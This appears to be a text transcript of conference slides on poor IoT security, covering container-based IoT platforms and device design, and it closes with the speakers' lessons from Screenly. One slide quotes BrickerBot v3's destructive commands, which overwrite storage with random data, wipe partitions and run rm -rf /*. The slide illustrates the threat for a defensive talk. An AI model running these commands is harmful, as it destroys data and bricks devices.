internet of shit - linux foundation events...internet of shit the ”s” in “iot” stands for...

74
Internet of Shit The ”S” in “IoT” stands for ”Security”

Upload: others

Post on 21-May-2020

1 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Internet of ShitThe ”S” in “IoT” stands for ”Security”

Page 2: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

I’m: - Andy- Dev-like- Sec-ish- Ops-y

Page 3: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 4: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Viktor (@vpetersson)● Entrepreneur, geek, tinkerer● Mediocre developer● OK-ish at DevOps● Founder of Screenly (and a few

other things)

Page 5: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Digital signagemade easy

Page 6: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

© xkcd

The sad state of ”smart” devices

Page 7: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

“The Internet of Things is a scienceproject focused on creating the most complex way possible of turning the

lights on.” @domguinard

Page 8: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 9: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 10: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 13: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 14: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 15: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

https://www.theregister.co.uk/2016/03/25/vnc_roulette/https://www.tomsguide.com/us/pictures-story/748-vnc-roulette-slideshow.html#s12

Page 16: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

What This Talk is About

● IoT: The State of the Art

● How Containers Can Help

● Botnets and Brickerbots

● Building Better Devices

Page 17: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

IoT: The State of the Art

Page 18: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

https://www.wired.com/2016/08/jeep-hackers-return-high-speed-steering-acceleration-hacks/●

Page 19: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

http://money.cnn.com/2017/01/09/technology/fda-st-jude-cardiac-hack/

Page 20: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 21: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 22: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 23: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 24: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 25: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 26: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

How We Think IoT Devices Run

Page 27: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

How IoT Devices Actually Run

Page 28: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 29: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Blockchain all da thingz!

Page 30: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Containers and IoT

Page 31: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Containers to the Rescue!Containers to the Rescue!

Page 32: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Modern IoT Operating Systems

( )

Page 33: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

OS OTA Process Isolation State

resin.io X X Stable

Ubuntu Core X X Stable

eliot X X Proof of Concept

Mender X - Beta (?)

ACRN - X Beta (?)

Page 34: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 35: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 36: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 37: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 38: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Container Oriented IoT

Kernel

Scheduler / Management App container

Page 39: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

● “git push master resin”● Yocto based● Application isolated● Isolation tool: Balena

Page 40: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 41: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 42: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

● Alpha● Heavily inspired by CoreOS / Kubernetes● Isolation tool: Docker

Page 43: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 44: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

● Smaller footprint than “Classic”

● Lots of “read-only”

● Interfaces, slots and plugs

● Snaps, Docker and LXD

● (Primary) Isolation tool: AppArmor

Page 45: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 46: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

- Untrusted Domain

Page 47: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

- Untrusted Domain

● Restricted host filesystem access

● Restricted host APIs

● Restricted to application-specific user data

● More isolation than a rogue nation state

Page 48: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

- Untrusted Domain

● Restricted host filesystem access

● Restricted host APIs

● Restricted to application-specific user data

● More isolation than a rogue nation state

● Possible GDPR compliance

Page 49: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

- Trusted Domain

● Built from the Ubuntu archive

● Archive integrity guaranteed by package maintainers

● May or may not run confined

○ Access to resource or data in the user’s session

○ Limited system service access (DAC/capability/policy permitting)

Page 50: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

- Trusted Domain

https://developer.ubuntu.com/static/resources/ubuntu-core-16-security-whitepaper.pdf

Page 52: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 53: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

# BrickerBot v3 device logic

$ busybox cat /dev/urandom >/dev/mtdblock0 &

$ busybox cat /dev/urandom >/dev/sda &

$ busybox cat /dev/urandom >/dev/mtdblock10 &

$ busybox cat /dev/urandom >/dev/mmc0 &

$ busybox cat /dev/urandom >/dev/sdb &

$ busybox cat /dev/urandom >/dev/ram0 &

$ busybox cat /dev/urandom >/dev/mtd0 &

$ busybox cat /dev/urandom >/dev/mtd1 &

$ busybox cat /dev/urandom >/dev/mtdblock1 &

$ busybox cat /dev/urandom >/dev/mtdblock2 &

$ busybox cat /dev/urandom >/dev/mtdblock3 &

$ fdisk -C 1 -H 1 -S1 /dev/mtd0

w

$ fdisk -C 1 -H 1 -S1 /dev/mtd1

w

$ fdisk -C 1 -H 1 -S1 /dev/sda

w

$ fdisk -C 1 -H 1 -S1 /dev/mtdblock0

w

$ route del default;iproute del default;ip route del default; rm -rf /* 2>/dev/null & sysctl -w

net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1

$ halt -n -f

$ reboot

Page 54: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Defence Against the Dark Botnets

Page 55: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 56: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 57: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 58: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,
Page 59: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

IPv6IPv6

Page 60: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

IPv6

Page 61: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Building Better IoT Devices

Page 62: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

http://www.ideaeconomics.org/guerracartoons/2015/2/11/race-to-the-bottom

Page 63: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Device life cycle

Page 64: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Common mistakes

Page 65: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Designing Better IoT Devices

Page 66: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Kubernetes? Istio? VirtualKubelet?

Page 67: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Azure IoT Edge Connector for Kubernetes

https://github.com/Azure/iot-edge-virtual-kubelet-provider

Page 68: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Lessons learned from Screenly

Page 69: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Screenly 1 Player

+ + + +

Page 70: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Screenly 2 Player criteria● Disk images built on CI● Process isolation (perhaps using containers)● Transactional updates (app and OS)

○ Automatic roll-back● Not having to manage the OS layer ourselves

○ Must be locked down/Hardened by default● Bonus: Cryptographically signed updates

Page 71: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Screenly 2 Player

+ +

Page 72: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Recap

Page 73: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

Conclusion● IoT security is an afterthought at best

● The new breed of containerised IoT platforms greatly enhance the update and security story

● We can fix life cycle and runtime security

● Patch your devices!

Page 74: Internet of Shit - Linux Foundation Events...Internet of Shit The ”S” in “IoT” stands for ”Security” I’m: -Andy-Dev-like-Sec-ish-Ops-y Viktor (@vpetersson) Entrepreneur,

@sublimino @controlplaneio

@vpetersson @screenlyapp